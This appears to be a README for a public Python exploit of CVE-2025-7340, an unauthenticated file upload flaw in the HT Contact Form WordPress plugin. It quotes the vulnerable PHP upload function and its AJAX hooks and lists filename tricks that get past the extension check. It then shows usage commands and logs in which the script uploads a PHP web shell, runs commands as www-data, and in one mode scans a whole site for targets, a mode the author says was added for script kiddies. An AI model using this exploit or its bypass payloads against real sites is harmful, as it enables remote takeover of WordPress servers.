kai-one001/wordpress-ht-contact-cve-2025-7340-rceЭксплойт на Python для CVE-2025-7340 — уязвимости неаутентифицированной загрузки файлов в виджете HT Contact Form для WordPress, позволяющей удалённое выполнение кода через развёртывание веб-шелла.
Расположение уязвимости: ht-contactform/admin/Includes/Services/FileManager.php
Ключевая функция: temp_file_upload()
temp_file_upload#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAXРасположение файла: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Проблема: используется хук wp_ajax_nopriv_, что означает, что неаутентифицированные пользователи также могут получить доступ к функции загрузки файлов.
Анализ первопричины проблемы:
validate в FileManager.php проверяются только ошибки загрузки PHP, полностью отсутствует проверка типа файла, расширения или MIME-типа.Fields.php, но это используется только для проверки на фронтенде при рендеринге формы (атрибут accept), на стороне сервера эти конфигурации не используются для проверки.sanitize_file_name() в основном обрабатывает специальные символы и не блокирует опасные расширения, злоумышленник всё ещё может загружать файлы .php, .php3, .phtml и т.д.// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Анализ проблемы:
Прямая атака: злоумышленник может напрямую отправить POST-запрос к /wp-admin/admin-ajax.php с action ht_form_temp_file_upload
Обход проверки на фронтенде: фронтенд использует атрибут accept для ограничения типов файлов, но злоумышленник может легко его обойти.
Выполнение файла: загруженные PHP-файлы могут быть выполнены веб-сервером, что приводит к удалённому выполнению кода.
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
Примечание: URL работает только для статей, опубликованных с помощью плагина, поэтому я добавил функцию 02 для скрипт-кидди.
01[Одиночный тест] Например:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell，请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 进入shell交互模式，输入'exit'退出！
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式
02[Тест из корневого каталога] Например:
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界，您好！
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...
[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell，请稍等...
[+] 漏洞利用成功!
Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 进入shell交互模式，输入'exit'退出！
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式